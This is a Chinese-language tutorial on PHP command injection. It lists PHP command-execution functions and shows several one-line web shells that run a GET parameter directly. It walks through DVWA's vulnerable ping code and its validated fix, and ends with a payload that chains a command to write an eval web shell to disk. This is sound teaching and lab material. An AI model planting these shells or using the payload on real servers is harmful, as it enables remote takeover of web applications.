PHP 執行系統命令可以使用以下常見幾個函數
system()、exec()、passthru()、shell_exec()、popen()、proc_open()、pcntl_exec()
例如
feng.php
<?php
$id = $_GET['feng'];
system("$id");
?>
類似的有
<?php
$id = $_GET['feng'];
$get = exec("$id");
echo $get;
?>
<?php
$id = $_GET['feng'];
$get = shell_exec("$id");
echo $get;
?>
<?php
$id = $_GET['feng'];
$get = passthru("$id");
echo $get;
?>
<?php
$bash = $_GET['feng'];
popen("$bash",'r');
?>
Dvwa代碼分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
?>
$_REQUEST可以獲取以POST方法和GET方法提交的數據,接收了ip之後傳遞給
Target這個變量,然後沒有過濾的就直接執行了cmd命令框
防禦代碼:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
$html .= "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
把ip傳遞過來的值進行stripslashes處理,也就是去除反斜槓,然後再把IP進行四等分的切割explode( “.”, $target );例如192.168.10.129→192 168 10 129,
然後再分別進行數值判斷
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
確定都是數字再傳進去shell_exec函數進行判斷
攻擊思路
可以echo寫進去一句話木馬
127.0.0.1 | echo “<?php @eval($_GET[x]);?>” >> aufeng.php
位置在該文件的目錄下
實戰案例https://blog.csdn.net/sojrs_sec/article/details/100013278